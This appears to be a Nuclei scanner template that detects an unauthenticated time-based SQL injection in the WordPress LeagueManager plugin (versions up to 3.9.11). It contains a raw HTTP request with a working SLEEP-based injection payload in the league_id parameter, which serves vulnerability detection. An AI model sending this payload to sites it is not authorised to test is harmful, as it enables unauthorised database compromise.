id: leaguemanager-sql-injection

info:
  name: LeagueManager <= 3.9.11 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action (available to unauthenticated users), leading to an SQL injection.
  reference:
    - https://wpscan.com/vulnerability/f3be48f5-ae2c-4e27-80ca-664829b8fba3
    - https://wordpress.org/plugins/leaguemanager/
  classification:
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: time-based-sqli,wpscan,sqli,wp,wp-plugin,wordpress,leaguemanager,unauth,vuln

http:
  - raw:
      - |
        @timeout: 10s
        GET /?season=1&league_id=1season=1&league_id=1'+AND+(SELECT+1909+FROM+(SELECT(SLEEP(6)))ZiBf)--+qODp&match_day=1&team_id=1&match_day=1&team_id=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "LeagueManagerAjaxL10n")'
        condition: and
# digest: 4a0a0047304502205e48ea78a9fa7c0d09dc07f706430acfa57791acb6108614edff6077ce7b922b022100812b0c784953f115dca770208c17e882476752e95fdca5db8981d6bfa0f80193:922c64590222798bb761d5b6d8e72950